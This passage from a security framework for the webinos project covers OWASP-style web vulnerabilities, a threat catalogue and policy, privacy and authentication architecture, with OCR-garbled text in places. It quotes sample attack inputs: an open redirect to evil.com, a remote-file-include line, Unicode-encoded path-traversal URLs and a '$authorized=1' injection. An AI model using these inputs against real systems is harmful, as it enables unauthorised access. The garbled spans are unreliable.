specific users and roles for access to every page.

4. If the page is involved in a workflow, check to make sure the conditions are in the proper
state to allow access

Based on the suggestions, webinos PEPs should check page accesses using suitable policies.
2.2.1.9 Insufficient Transport Layer Protection

Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of
sensitive networkraffic. Consequently, an attacker may steal sensitive data from unprotected
traffic.

Sites open to this vulnerability include the following.

1 Sites that don't use SSL for all pages that require authentication.

{1 Sites with improperly configured SSL certiicahese cause browser warnings for its users,
who then become accustomed to such warnings.

1 Sites using default ODBC/JDBC for the database connection, which sends all traffic in the
clear.

OWASP makes the following suggestions for dealing with this vbifigra

1. Require SSL for all sensitive pages.-S8h requests to these pages should be redirected to
the SSL page.


http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
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2. {SG GKS waSOdzNBQ ¥Ffl 3 2y ff aASyaraiargsS 0221A
3. Configure your SSL provider to only support strong algorithms.
4. Ensure your certificate is vd) not expired, not revoked, and matches all domains used by
the site.
5. Backend and other connections should also use SSL or other encryption technologies.

Based on these suggestions, webinos should use policies requesting encryption, when advisable.
2.2.1.10 Unvalidated Redirects and Forwards

Web applications frequently redirect and forward users to other pages and websites, and use
untrusted data to determine the destination pages. This can potentially allow an attacker to hijack a
user's session.

Two examples afxploits which take advantage of this behaviour are as follows.

1 The attacker crafts a malicious URL that redirects users to a malicious site that performs
phishing and installs malware, eltp://www.example.com/redirect.jsp?url=evil.com

1 The attacker crafts a URL that will pass the application's access control check and then
forward the attacker to an administrative function that she would not normally be able to
access, e.ttp://www.example.com/boring.jsp?fwd=admin.jsp

OWASP makes the following suggestions for dealing with this vulnerability.

1. Avoid using redirects and forwards.

If used, don't involve user parameters in cadting the destination.

3. If destination parameters can't be avoided, ensure that the supplied value is valid, and
authorized for the user. It is recommended that any such destination parameters be a
mapping value, and that server side code translate thispirapto the target URL.

n

Based on these proposals, the following webinos countermeasures are proposed.

1. Secure code best practices should be adopted by webinos developers. See Further Security
and Privacy Guidelines section for more information.

2. webinos apptations should be tested with defined patterns of improperly formatted input
data.

2.2.1.11 Malicious File Execution.

Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data. This
can allow an attacker to execute maliciczxle.

For example:

‘i nclude $_REQUEST['fil enamed] ;



http://www.example.com/redirect.jsp?url=evil.com
http://www.example.com/boring.jsp?fwd=admin.jsp
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OWASP makes the following suggestions for dealing with this vulnerability.

Use an indirect object reference map.

Use explicit taint checking mechanisms, if your language supports it.

Strongly validate usénput using "accept known good" as a strategy.

Add firewall rules to prevent web servers making new connections to external web sites and
internal systems.

Check user supplied files or filenames.

6. Consider implementing a chroot jail or other sand box me@@ras.

b

o

Based on these proposals, the following webinos countermeasures are proposed.

1. Secure code best practices should be adopted by webinos developers. See Further Security
and Privacy Guidelines section for more information.

2. Use policies to prevent web sers making new connections to external web sites and
internal systems.

3. Use sand box mechanisms.

2.2.2. Earlyresultsfrom O DAAOAO O 50A0 %GPAAOAOGEI T O 11 3AAOOEON!

Thed ! LIRF GS& GRGOAABAI 2 ¥ LB S Odimdumentwill coyitlin aedudiyd I O & ¢
analysisvhich willidentify, qualify and represent the most significant risks to webinos. The final
report of T2.8 will present misuse cases representing the most significant risks thet fagjes,
together with a list of findings based on the experiment and updated personas if necessary.

Since the work performed in T 2.8 is very strictly linked to the security architecture, it is useful to
report here the preliminary work on threat and mise detection, mentioning which part of the
security architecture will have a role to prevent the threat.

2.2.2.1 Cross Site Request Forgery (CSRF)

The attacker tricks the victim into loading a page that contains a request that inherits the webinos
identity and pivileges of the victim to perform an undesired function on the belief of the victim.

It is possible to prevent the CSRF including an unpredictable token in the body or URL of each HTTP
request.

Reference security architecture section: "Authentication &lseér Identity Management".
2.2.2.2 Man-In-The-Middle Attack

The manin-the middle attack intercepts a communication between two systems. For example, in an
http transaction the target is the TCP connection between client and server. Using different
techniques, theattacker splits the original TCP connection into 2 new connections, one between the
client and the attacker and the other between the attacker and the server. Once the TCP connection
is intercepted, the attacker acts as a proxy, being able to read, iasdrinodify the data in the
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intercepted communication.
It is possible to prevent the Maim-TheMiddle Attack using authentication.

Reference security architecture section: "Authentication and User Identity Management".
2.2.2.3 NFC replay Attack

Using a ghost anigech device, an attacker forwards a request to the victim's reader device and
relays the answer back in real time via a webinos overlay network.
It could be prevented restricting the access to NFC APIs.

Reference security architecture section: "SecuBblicyArchitecture"/"Privileged Applications"
2.2.2.4  Online Fraud

A malicious application instance misuses a user's shopping and payment information for the
incorrect gain/loss of money or products for either the user, the seller, the attacker, or any other
person.

The attack description can encompass a broad set of attack types (Data Structure Attack Threat,
Embedded Malicious Code Threat, Injection Threat, Resource Manipulation Threat, Protocol
Manipulation Threat, Exploitation of Authentication Threat).

Refaence security architecture section (being the attack carried out using a malicious application):
"Application Certification and Trust Chains"

2.2.2.5 Repudiation attack

Malicious manipulation or forging the identification of new actions. This attack changes the
authoring information of actions executed by a malicious user in order to log wrong data to log files.
Its usage could be extended to general data manipulation in the name of others, in a similar manner
as spoofing mail messages. If this attack takes ptheejata stored on log files can be considered
invalid or misleading.

Reference security architecture section: "Authentication and User Identity Management".
2.2.2.6 Spyware

A malicious application captures private information and sends it out of a device witkeut
acceptance.

Reference security architecture section: "Privacy Policy Architecture".
2.2.2.7 Autologin abuse

Thisexploits the Security misconfiguration vulnerability previously described.
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If auto-login is enabled, an attacker can authenticate himself agi#fault user

Reference security architecture section: "Authentication and User Identity Management".
2.2.2.8 Session hijacking

This exploits the Broken authentication and session management threat previously described.

User uses a public computer to access sitstelad of selecting "logout" the user simply closes the
browser tab and walks away. Attacker uses the same browser later, and that browser is still
authenticated

Reference security architecture section: "Authentication and User Identity Management".
2.2.29 PZH acess abuse

This is exploits the Security misconfiguration vulnerability previously described.

If the PZH access is unprotected, the attacker can retrieve the personal zone device list
Reference security architecture section: "Authentication and User lgeMiinagement”.
2.2.2.10 Cryptanalysis

This exploits the Insecure Crytographic Storage vulnerability previously described.

A weak (or absent) encryption algorithm may let an attacker access to user personal data on the
mass memory.

Reference security architecturedion: "Secure Storage".

2.2.2.11 Personal Zone Subversion

Stolen user credentials may let an attacker to take the control over the user personal zone
Reference security architecture section: "Authentication and User Identity Management".
2.2.2.12 Network eavesdropping

Ths is exploits the Security misconfiguration vulnerability previously described.

Unprotected channels may allow an attacker to eavesdrop communications. In could be particularly
dangerous for PZH/PZPs synchronization messages.

Reference security architecteisection: "Personal Zone Security"
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2.2.2.13 Denial of Service

Flooding a Personal Zone Hub may hamper Personal Zone communications.

Reference security architecture section: "Personal Zone Security"

2.2.2.14 Jamming

Wireless communications usage among personal zone neandgas may expose them to jamming.
Reference security architecture section: "Personal Zone Security"

2.2.2.15 Account lockout attack

The attacker attempts to lock out all user accounts, typically by failing login more times than the
threshold defined by the autheittation system. An account lockout attack on PZH could hamper
devices to connect outside the personal zone.

Reference security architecture section: "Authentication and User Identity Management".
2.2.2.16 Argument Injection or Modification

When a device exports sgces outside the personal zone, it can be subjected to this attack.
If the configuration allows for that, the attacker may, for example, try to pass argument
$authorized=1 as input data to application, to authorize himself ad administrator.

Reference seatty architecture section: "Personal zone security"/"Session security".
2.2.2.17 Asymmetric resource consumption (amplification)

The scenario is: the device calls a remote service, and policies allow the service to access personal
zone local resources.

If the servte fails to release or incorrectly releases a system resource, this resource is not properly
cleared and made available for-use.

Reference security architecture section: "Personal zone security" or "Session security".
2.2.2.18 Direct Dynamic Code Evaluation ('Eval Injection’)

When a device exports services outside the personal zone, it can be subjected to this attack.
If user inputs to a script are not properly validated, a remote user can supply a specially crafted URL
to pass arbitrary code to an eval() statemiewhich results in code execution.

Reference security architecture section: "Personal zone security"/"Session security".
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2.2.2.19 Direct Static Code Injection

When a device exports services outside the personal zone, it can be subjected to this attack.

It consiss of injecting code directly onto the resource used by application while processing a user
request. This is normally performed by tampering libraries and template files which are created
based on user input without proper data sanitization.

Reference secity architecture section: "Personal zone security" or "Session security".
2.2.2.20 Man-in-the-browser attack

The Manin-the-Browser attack is the same approach as Mathe-middle attack, but in this case a
Trojan Horse is used to intercept and manipulate caltgvben the main application's executable

(ex: the browser) and its security mechanisms or librarietherfly.

The most common objective of this attack is to cause financial fraud by manipulating transactions of
Internet Banking systems, even when othetlantication factors are in use.

Reference security architecture section: "Extension Handling".
2.2.2.21 Mobile code: invoking untrusted mobile code

This attack consists of a manipulation of a mobile code in order to execute malicious operations at
the client sideThe malicious mobile code could be hosted in an untrustworthy web site or it could
be permanently injected on a vulnerable web site through an injection attack.

Reference security architecture section: "Application Certification and Trust Chains".
2.2.2.22 Path tr aversal

When a device exports services outside the personal zone, it can be subjected to this attack.

The attacker aims to access files and directories that are stored outside the root folder. He looks for
absolute links to files by manipulating variable& & NB FSNBy-Ocba fFIAE S a6 $RKIKE G R
sequences and its variations.

Reference security architecture section: "Personal zone security".
2.2.2.23 Unicode Encoding

When a device exports services outside the personal zone, it can be subjected to this attack.
The attack aims to explore flaws in the decoding mechanism implemented on applications when
decoding Unicode data format.

An attacker can use this technique to encode certain characters in the URL to bypass application
filters, thus accessing restricteds@urces.

Original Path Traversal attatlRL (without Unicode Encoding):
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‘ http://vulneapplication/../../appusers.txt

Path Traversal gack URL with Unicode Encoding:

http://vulneapplication/%COAE%COAE%COAF%COAE%COAE%COAFappusers.txt

Reference security arcleitture section: "Personal zone security".
2.2.2.24 Web Parameter Tampering

It is based on the manipulation of parameters exchanged between client and server in order to
modify application data, such as user credentials and permissions, price and quantity of product
etc.

Reference security architecture section: "Personal zone security"/"Session security"

3 Architecture

3.1. Security Policy Architecture
3.1.1. Introduction

This section introduces the policy management architecture discussed in the "Security and Privacy
chapter of the "D3.1 System specifications" docum#kebinosD31). The specification itself can be
found in WebinosD31), but this section explains various security issues, including related
background literature, threats and the security model. Here the focus is on security rather than
privacy.

3.1.2. Background

Consider the common scenario where a device exposes a set of features and/or low level capabilities
made available to applications through system APIs. Applications may abuse these capabilities,
intentionally or accidentally. We therefore needitdgroduce a component to control the access to

them, matching external requests against a defined set of rules called policy.

As the analysis in the Background section clearly demonstrates this base capability is highly
prevalent on all native and web basapplication platforms, proving that there is strong need.
Because security is so important (especially to the web) it is imperative that this security policy be
standardised and interoperable. Without weléfined portable technologies in this space, web
application ecosystems will become intrinsically tied to application stores, inhibiting competition and
market growth.

This component should, as far as possible, prevent the retention and redistribution of user's
personal data in order to guarantee priyac
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To reach security and privacy protection requirements each request for access a device
feature/capability and each intent for retain/redistribute personal data is controlled by an
enforcement point the component cited abovethat works using XACMike policies for the
access control and P3P (JSON) policies for privacy ticotec

3.1.2.1 Requirements

The following requirements fromWebinosD2) are relevant to this part of the security architecture.

ID-USROxford20 IDDWRPOLITA01 |ID-DEVPOLITEDO4
IDDEVPOLITED17 |ID-DEVPOLITED18 PSUSROxford103
PSUSROxford104 PSUSROxford16 PSUSROxford17
PSUSROxford41 PSDMAIBBTO03 PSUSROxford67
PSDEVOxford28 PSUSROxford-30 PSUSROxford54
PSUSROxford55 PSDEVOxford87 PSUSROxford113
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3.1.2.2

Threats to security

Themain threats to securitare pointed out belowdue to the absence or nifainction of an access
control component:

1 Applications can misuse APIs

3.1.2.3

o Collection / stealing of data resources). user private data, system data
o Tampering of data resources and system components
o Denial of service attacks

Remote applications can act a4l applications in a device
o Threats of the preceding case
o Unauthorized remote monitoring
o Distributed Denial of service attacks

Users can access to any element of a device
o Tampering of widgets to change their behaviour or to introduce (malicious) cbnten
and possible redistribution of them
o Tampering of data resources and system components

Remote attackers can act as local users
Unauthorized users and/or applications can act as authorized ones: privilege escalation

Related technology

3.1.2.3.1 XACML

XACML (eXtendidAccess Control Markup Language) is an OASIS standard for access control
systems that defines a language for the description of XML access control policies and an
architecture to enforce access control decisions.
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Access Requestor 2 @ 13 Obligations)

3, 12

7b

(Environment) Subjects

The XACML architecture depicted in figure is composed of the following elements:

Access Requestothe entity which requires the capability (2).

Policy Enforcement Point (PER)e entity that performs access control, by making decision requests
(3) and enforcing authorization decisions .12 also try to execute the Obligations (13) and doesn't
grant access if is unable to complete these actions.

Obligations operations specified in a policy that should be performed by the PEP (13) in conjunction
with the enforcement of an authorizatioregision. These operations must be carried out before or
after an access is granted.

Policy Decision Point (PDRhe main decision point for the access requests. It collects all the
necessary information from other actors (5, 10) and concludes an authtioriziecision (11).

Context Handlerthe entity which sends a policy evaluation request to the PDP (4) and manage
contextbased information (6, 8, 9).

Policy Information Point (PIP}he entity that acts as a source of attribute values that are retrieved
from several internal or external parties like resources (7a), subjects (7b), environment (7c) and so
on.

Policy Administration Point (PAPYhe repository for the policies, it manages policies and provides
them to the Policy Decision Point (1).

Resources Subjects / Environmentparties that provide attributes to the PIP (7a, 7b, 7c).
3.1.2.3.2 Known threats to an XACML security architecture

Main threats to XACMLpointed out below- are due to the lack of confidentiality requirements for
what concerns the commuration between XACML's components:
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1 Eavesdropping
f Man-in-the-Middle
1 Message tampering / replay

These threats could be mitigated by mutual authentication and a secure message transport
mechanism in addition to the authorization control.

3.1.2.3.3 PrimelLife

The PrimelLd project defined extensions to XACML to combine access control with data handling
obligations. Information about PrimeLif&an be foundoresented in the Privacy section.

3.1.3. Specifications

The details of the policy managent architecture are discussed in the "Security and Privacy"
chapter from the "D3.1 System specificationd’gbinosD31) document.

3.1.4. Future Directions
The main features that will be irdduced in the phase 2 of specification work are:

1 Obligation policies. XACML is capable of describing policies which intligitionson the
requester. This is a useful way to implement request logging and notifications.

1 Enhancement of contextased inbrmation utilization to define fingyrained policies.

Contextual data could be used to inform policy decisions. However, this raises security and
privacy issues as the reliability and trustworthiness of contextual data is not necessarily high.
However, wok in the PRIMMA projecPRIMMA uses contextual information not to make

the access control decisions but to change the way users are notified. This may be an
interesting avenue of further research.

1 Outsourcing of policies amgmote policy management. We aim to allow users to delegate
policy management to a third party (such as an-ainiis vendor, service provider or trusted
friend) to further enhance the usability of the system. This requires introduction of
delegation polieswhich are a relatively new feature of XACML 3.0. This direction of work is
a primary objective for phase 2 of the project.

1 Policy tools. It should be easier to design secure applications if better tools are available for
people to comply with securitsequirements. In phase 2 we intend to design policy editing
tools for users and other stakeholders to create and assess policies in-aiesdly
manner.

3.2. Privacy Policy Architecture

3.2.1. Introduction

User privacy in webinos is provided by description in humeaaable form how sensitive
information in managed; this allows users to limit tracking of their behaviour.
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To achieve these goals, webinos will support two privadyancing features:

1 Do not track header
1 Subset of P3P in JSON

3.2.2. Threats to privacy

There are numerous threats to user privacy, many of which are odtim#e upcoming document
G!' LIRIFGSE G2 ! &SN & ENLIBR ltFaimmi@htGhegwe hdveSidrdgatior the
issues described in the table below:

Threat Possible control ‘

Applications given too much ~ Access to user data and APIs must be constrained (see Sec
personal information API).
Applications gien personal Privacy policies arthe key to regulating this.

information which is used in an
unexpected manner

Weak security controls give Robust security controls
applications access to

information that users are

unhappy with.

Personal data is linka and Context data could be misusethis is a key part of the

combined in unexpected ways  webinos architecture and an opportunity for privacy violatior
if data are shared inappropriately, provide controls to rectify
these issues.

3.2.3.  Requirements
The following requirements have informed the design of the privacy mitigations

1 |ID-DWRPOLITED14The communication between devices at non mutually acceptable
identity privacy level must bevaided.

1 IDUSRPOLITED13A user should be able to choose the acceptable identity privacy level for
other webinos enabled devices that are trying to communicate with his own device.

1 PSDEVambiesensel4 Privacy policies change according to applications and external
circumstances and should be contextabled.

1 PSDEVambiesenseé?1 An application developer must be able to define and control a
privacy policy for his or her application that is separate from all other applications. Any
changes to an existing policy must be approved by the end user.

1 PSDEWisionMobilel1 webinos applications shall be able query the webinos user
privacy preferences.
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il

3.2.4.

3.24.1

=A =4 =4 4 -4 -4

PSDWRPOLITEDO3 Nortnecessary information leakage should be prevented to protect
user privacy.

PSUSRambiesense32 webinos shall & able to protect the privacy of each user in line with
the EU privacy directives.

PSUSROxford104 The webinos runtime shall mediate during the service discovery and
apply appropriate controls where not provided byatimer layer or protocol for the purpose

of enabling and automating privacy and security preferences.

PSUSROxford115webinos shall encourage good design techniques and principles so users
are not forced to accept unesonable privacy policies and access control policies.
PSUSRTSI13 Webinos shall provide a mechanism for applications to use identifications
which safeguard personal privacy needs on one hand side but allow data sluaring f
applications on basis of a general profile (e.g. temporary unique ID for a given maximum
duration)

PSUSRVisionMobile10webinos shall allow users to express their privacy preferences in a
consistent way.

PSUSRVisionMobile11 webinos applications shall be able to query the webinos user
privacy preferences.

PSUSRVisionMobile12 webinos shall use user privacy preferences whemgng/denying
access to user private information.

D-USRDT-02 The webinos system must minimise exposure of personal individual identifiers
or canonical identifiers of webinos entities.

IDUSRPOLITED10A webinos entity should be able to identify itself to a webinos
application using an abstraction (such as Pseudonym) that is not directly linkable to an
existing unique identifier of the entity (such as a canonical device id).

IDUSRPOLITED11A user may disable the advertising of its identity to webinos components
and remote applications.

IDUSRPOLITED20A user Digital Identity should be composed of necessamslanly.
IDUSRPOLITE103Leakage of identity information during authentication must and during
communication phases should be avoided.

Background

Examples of application privacy viola tions

"Mobile Apps Invading Your Privac$h{elds201)1L

"More Android Malware UncoveredRponey201}

"Android app brings cookie stealing to unwashed mas<@eb(in11)
"Wave of Trojans breaks over Androitleyden201}

"Google Web Store quietly purged of nosy apadddin2011a

"More security woes hit Apple's iOFgrell2A 1)

"Privacy Policies, What Good Are They Anywayakih201}
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3.2.4.2 Existing technology

Several other large software projects have released guidelines and roadmaps on privacy. The
following references are most relevant:

Guidelinedrom the Tor project for Privacy by Design to avoid trackiferrfy201)

Mozilla Privacy Roadmap 20N dzillaPrivacyRoadmap

PRIMMA: Privacy Rights Management for Mobile Applicai@RiIMMA

PrimeLife- Bringing sustainable privacy and identity management to future networks and
servicesRrimeLifé

=A =4 =4 =

3.2.5. Components

3.2.5.1 Do Not Track

This is an HT THeader that informs a website/application that the user doesn't want to be tracked.
The precise syntax of the header, and the semantics are still under discussion, and likely to be
standardized by W3C in the near future.

3.2.5.2 Subset of P3P in JSON

This enableghe application/website to define what classes of data will be collected, the retention
policy, and who the data will be shared with. A subset of P3P is chosen to enable easy rendering of
policies and differences between a policy and the user's prefereasesell as a simple Ul for the

user preferences. The policy links to a full human readable policy. Policies can be discovered via an
HTTP Link header and/or an HTML link element. This approach is combined with white/black lists
and a means to consult aitd party for an independent assessment. A proof of concept
implementation is available from the PrimeLife project.

Privacy policies will be directly linked to the application "feature” requests in the manifest. Each
feature tag will have an associatedcien in the privacy policy. Privacy policies will be located in an
additional file in the web application package.

3.2.5.3 Privacy and Personal Zones

The Personal Zone keeps track of personal information, and needs to protect this. This builds upon
earlier work @ synchronizing browser contexts to give users access to their bookmarks and
recorded preferences when logging into a browser session from a new computer. The context is
stored in an encrypted form (see "Secure Storage"), and care is needed for the mamagdne
decryption key. For browser context synchronisation, the key doesn't need to be stored on the
server, as the encrypted data is downloaded by the browser and decrypted locally using a key
derived from the user's credentials. For webinos, yougramt other people access to personal data
held on your Personal Zone Hub based upon your relationship to that person. The Personal Zone
Hub stores the keys to personal data in an encrypted formdefenceagainst the situation where

an attacker gains @ess to the server's files. This necessitates a bootstrap process where the server
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first verifies the integrity of the software used to implement the Personal Zone Hub, and then passes
the Hub's master keys to it in a secure way.

A personal profile mightdkept by the Personal Zone Hub as a basis for ranking matches during a
federated search for a given user, where the search performed collectively by the set of personal
zone hubs reachable from the personal graph for the user initiating the search. ditoh geocess

will be designed to preserve privacy by minimizing data leakage.

3.2.6. Applications that adapt to context

Applications benefit from being able to access the context describing user preferatadce
capabilities and environmental conditions, as this enables the application to adapt to changing
circumstances. Such access is subject to prior agreement by the user concomitant with the
application agreeing to data handling obligations as paitsgbrivacy policy.

3.2.7. Reviewing and revoking recorded permissions

Webinos will provide the means for users to review and if desired to revoke recorded permissions
relating to personal data, e.gccess to the user's location.

3.2.8. Future directions

In future releases of these specifications, webinos authentication and privacy policies will be able to
be informed by social networks and relationships. For exanguie possibility involves users being

able to set access control rules on a personal basis, or on the basis of the "face" they present to their
contacts, e.g. immediate friends, work colleagues and the general public. In such instances, webinos
will be abe to warn users of potential loss of privacy when the same contacts are present in multiple
faces, e.g. when the user posts content to immediate friends, one of whom is a work colleague.

3.3. Authentication and User Identity Management

3.3.1. Introduction

webinos aims to be an easy-use web application framework. Users will be able to enjoy services
across their devices and application developers will be able to éagilgment distributed

applications. webinos supports developers largely by the features that are in place which are
transparent to the application and its developer. One of these core features is authentication and
establishment of a secure communicatiolnannel. Whenever an application heeds to communicate
with a service on another device, the webinos runtime establishes the authenticated and secure
communication channel. The application developer only needs to access the remote API. The user
simply autheticates to one of their device. After authentication the user can access any of the
services on any of the devices in the personal zone. Details of this architecture are described in
DocumentD3.1 The corresponding authewration API is described BocumentD3.2
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This section focuses on the reasons for authentication architecture decisions, security considerations
and further work yet to be done in phase Il.

3.3.2.  Background

Authentication on the web is pretty much left to the web application developer. It is one of the
features which are to be built in applications. This requires application developers to deal with
identification, authentication, session managementaccess control. However, poorly

implemented authentication mechanisms and session management are often reasons for attacks
which even draw the attention of mass media as often large amount of personal user data was
stolen. On the@ODWASP Top 1df vulnerabilities of web application, broken authentication and

session management are the top 3. Authentication on the web needs to be improved in many ways:

1 implementation for the developer needs to be simplified,

1 the developer stilhas to keep control of authentication if desired to tightly adjust
authentication to the application's needs,

1 users should no longer be bothered with memorising passwords,

1 users should be informed at any time about their current authentication state, and

{1 single sigron (SSO) should be provided for users

Designing such an authentication architecture while retaining the flexibility needed by vast kinds of
applications is challenging. Webinos approaches this challenge in two steps: first, a wetenoe
authentication mechanism is designed, second, a authentication mechanism for services on the
open Internet will be designed. At the current stage of the webinos project, the former has been
specified and described adocumentD3.1 The latter will be defined in phase Il of the project.
However, a highevel architecture is already discussedid.], too.

In webinaos, any device can not only act as a client by running a web application. Itaccproalde a
service at the same time. Services shall be shared among various devices within webinos. Some of
these devices belong to the same user, others belong to other users. For ease of use, the overlay
network and the discovery service have been idtroed in webinos. They allow the user to easily
access services without the need to know by which devices they are provided and to which network
the devices are connected at the time of usage. Conceptually, the personal zone has been
introduced to define he boundary within which all devices of the same user can communicate freely
using webinos.

The webinosnternal authentication mechanism has been designed to suit the concept of the
personal zone and to be easy to use for users and for application devsldfye deliberately

decided to not involve a central third party in the webiraternal authentication who can issue and
validate certificates. Having a large public key infrastructure (PKI) within webinos has three major
drawbacks:

1. itwon't scale as angther global PKI does not scale,
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2. itis difficult to determine who should act as certification authority for individual users in an
open source setting as the one of webinos, and

3. certificate revocation cannot be determined when devices have no conneditretopen
Internet.

As a consequence, it has been decided that each Personal Zone Hub (PZH) in webinos also acts as the
certification authority (CA) for the personal zone. All devices within the zone possess their own
certificate, issued by the PZH, aiky possess the sedigned CAertificate of the PZH. Thus each

device can validate zone membership of another device.

When devices of two different personal zones ought to communicate, the two PZHs of the two
involved personal zones need to exchangertBeifsigned certificates. Once a PZH caches the
certificate of another PZH, the personal zone of the other PZH is considered triD8tdédescribes
in detail how such a trust relationship is established.

In fact, each penal zone has its own small PKI. Due to the small number of devices in a zone and
due to the small number of trust relationships, this kind of certification scales in terms of number of
issued certificates within webinos. However, this webtrdsrnal autentication will not work as

soon as users are to be authenticated to services on the open Internet. These services may not be
webinosenabled and they may not implement the concept of the personal zones. Therefore in
phase Il of the webinos project, thaithentication mechanism for the open Internet will be

specified. Its purpose is to authenticate the user to the PZH and to provide means within the PZH to
perform SSO with the service on the open Internet. It is planned to utilise standardised technologies
(e.g. OpenlD and OAuth) to achieve that. It is likely that these technologies are to be extended in
order to achieve secure and eamyuse authentication on the Internet.

We have decided that in webinos the personal zone represents the user. Any degjgglioation

which is doing something (e.g. communicating with another device) does this by identifying its
personal zone to which it belongs. Since the user is related to the personal zone, there is a relation
between the user and the applications. Thaphcations and devices actually act on behalf of the

user and represent the user in the digital world by the certificates which are issued by the PZH. For
intra-zone and inte;zone communication, this is the desired effect. All the users wish to know who
is behind the device or application which communicates with them. This is the basis on which trust
relationships are established in webinos when personal zone certificates are exchanged. It follows
the idea that people are communicating and they want targhtheir devices and applications

remotely to improve quality of their communication.

With that in mind, the idea of using social relations/social proximity as one factor of identification of
users is straightforward. The only crucial point in this agetitre is that users indeed verify that a
device which claims to be the one of a particular user actually belongs to this user. This is done
during exchange of the sedfgned certificate of the PZHs.

For authentication on the open Internet, this is di#fat. There, the certificate of the PZH cannot be
validated. There is the need of involving established identity providers. Users will be allowed to
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combine their existing identifiers with the SSO feature of webinos. No user will have to create new
identifiers when introducing webinos. Furthermore, the user may not want to reveal the identity.
This is why we will also investigate the use of pseudonyms and partial identities for authentication.

3.3.3. Threats to Security

The strength of the identification and authentication architecture of webinos is that it is usable and
secure at the same time. However, as every new architecture, it brings some weak parts which have
to be considered particularly when further detailing ttieign and when implementing it. This
subsection enumerates and discusses them, while the next subsection describes how we plan to
address them in the next design improvement iteration in phase Il.

It may be argued that the manual establishment of trusatieins between personal zones by
exchanging certificates of the PZH may be weak. There is no technical or automated means to
validate a certificate. It is up to the user to accept a certificate as valid. Many users may jugslick
when they are asked they wish to trust this certificate. In the contrary, we believe that the list of
pre-installed certificates in the web browser is as good or bad as the manual validation. An attacker
could easily add own certificates and provide the manipulated browseddwnload and some of

the simple certification authorities whose certificates are included in the browser by default do not
have a strong validation of identities when issuing a certificate. Our concept leaves the decision to
the user, making the user a

responsible entity in the system. Like in real life, it is up to the user to determine who they trust. For
that to work, they are not required to understand the complex matter of certificates and PKI. They
always can use any preferred channel to verifihilieir communication partners, who are real
persons, such as family members or friends, if both see the same certificate. That's all.

The PZH and the PZP are sensitive components of the webinos architecture. If an attacker manages
to add additional cerficates in the trusted users cache on a PZP or to break into the PZH and issue
new certificates with its CA functionality, the attacker can make the user to access one of the
attacker's service by believing it is the user's service and the attacker cansomate as the user by
possessing a device which is assumed to belong to the user. To avoid this, a couple of requirements
MUST be fulfilled:

1 The code base of the PZP and the PZH needs to be as small as possible. Both shall only
provide necessary feature$he smaller the code base is the easier it can be verified for
correct implementation.

1 Specification of the architecture details, the protocols and the implementation are to be
performed with greatest possible care. See the Security and Privacy Gusosdicizon.

1 Sensitive data, such as the certificates of PZHs and private keys need to be stored in a
tamperresistant module. Preferably, this module is a separate hardware component in the
device.

1 Each webinognabled device must fulfil the requirementsastd in theSpecificatiorg
Authentication and ldentitgection ofdocumentD3.1



quebmos FPZICT-20095 257103

page:400f120 webinos Phase 1 Security Framework

In webinos, users are authenticated by the devices. Since Hrera broad variety of devicethere

is no predefined authentication mechaniss. However, devices shall implement user authentication
in a way that it is strong and reliable and difficult to forge. All in all, the strength of user
authentication in a personal zone is defined by the device with the weakest authentication
mechanism.

3.3.4. Future Directions

As previously mentioned, in phase II, webinos will have to improve the design of some of the
components from security perspective. These are enumerated in this subsection. Each paragraph is
devotedto one issue.

The authentication on the open Internet will be further detailed. From the high level design which
exists right now, it will be brought to detail by trying to utilise existing technologies which are
established on the web as much as possiBlat we also expect to contribute a new form of user
authentication for the Internet to close the gaps we identified in this section.

The process of installing the PZP on a device is to be specified in more detail. No room for attackers
shall be left whib would allow them to forge a component during PZP installation in order to avoid
that the attacker can take control of the PZP. A further issue to be decided is which identifiers of a
device (e.g. MAC address, Bluetooth address) should be mentioned éettiifecate of the device in

order to tightly bind the certificate to the device. Tamg@oof binding of the device to the

certificate and privacy concerns need to be balanced.

When a device is lost or stolen, the user has to have the chance to revdifeates issued by the

PZH and to remotely erase the certificates and keys on the lost/stolen device. Mechanisms and APls
will be provided to implement these features. Certificate revocation also includes notification of all
the PZHs which have receiviik revoked certificate in the past. Expiry and sHored certificates

may support this.

Real time communication on mobile devices may regskippingintegrity verification on the secure
channel which is satp by the use of TLS whenever devices cominaia in webinos. Like in the

mobile industry (2G, 3G radio network), for quality of service, there is no integrity protection on the
radio link for voice connections. From security perspective this is discouraged, as it opens new attack
vectors. Howeveiif it turns out in practice that this is required for reliability and quality of the real

time streams, it has to be considered.

LG Aa &Si G2 0S RSTAYSR K2¢g | dzaSNJI NBEIAAUGSNE oA
zone, the PZH has to be inktal, the CA has to be launched and the user shall be the only entity to

have access to most of the PZH features. How all this is bootstrapped will be defined. Further to

that, in case a user loses his device and he only had that one in the zone, howdawviesvis added

to the already fully configured zone will be defined.
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User authentication is currently only discussed for devices which the user actively uses (e.g. a mobile
phone). However, there are others which permanently run services without usarg be
authenticated/loggedn. In the latter case, the PZP needs access to the private key even without

user authentication just from the point in time where the device was added to the zone. It will be a
task of phase Il to elaborate upon this feature.

3.4. Runtime Authorisation and User Interfaces

3.4.1. Introduction

One aspect of security architectures which is often overlooked is the process of authorisation:
obtainingconsent from the user for a particular action. This involves logical processes as well as
graphical user interfaces. This section does not provide precise implementation guidelines but
specifies the data that will be presented to users during authorisatimhgives examples. This work
relates heavily to thelesign principles

This section of thelocumentprimarily refers toruntime user authorisatiarthat is, it does not cover
purely policydictated decisions or those based on certificates. in addition, identity management and
log-in/log-out events are not covered here.

3.4.2. Background

3.4.2.1 Requirements

The following security and privacy requirements fraMiebinosD22) are related to this part of the
platform.

1 PSDEVambiesensé5: The webinos runtime shall protect policies from tampering or
modification by unauthorised applications. The only authorisgpliaations shall be from
signed, trusted sources, which may be defined by the manufacturer, network provider, or
end user.

1 PSDEVIBBTO04: A publisksubscribe system for evesishall exist which requires
authorisationfor application subscriptions. webinos should provide a policy system
regarding events.

1 PSUSRSMB036: The webinos runtime shall support the download, install, update, and
removal of security policies. These operatishallrequire authorisation by the user and
policies must be checked for authenticity and integrity.

1 PSUSROxford101: The user should be able to allow detection of sensors/actuators only to
authenticated and authosed entities and shall be able to prohibit detection.

1 PSUSROxford103: The webinos Runtime Environment shall only allow associations to be
made between devices when predefined network security practices are follanedding
transport level security, device authentication and user and device authorisation.

1 PSUSROxford120: A webinos Cloud shall determine the services a webinos Device is
authorised to use before providing aceds its services.




quebmos FPZICT-20095 257103

page:420f120 webinos Phase 1 Security Framework

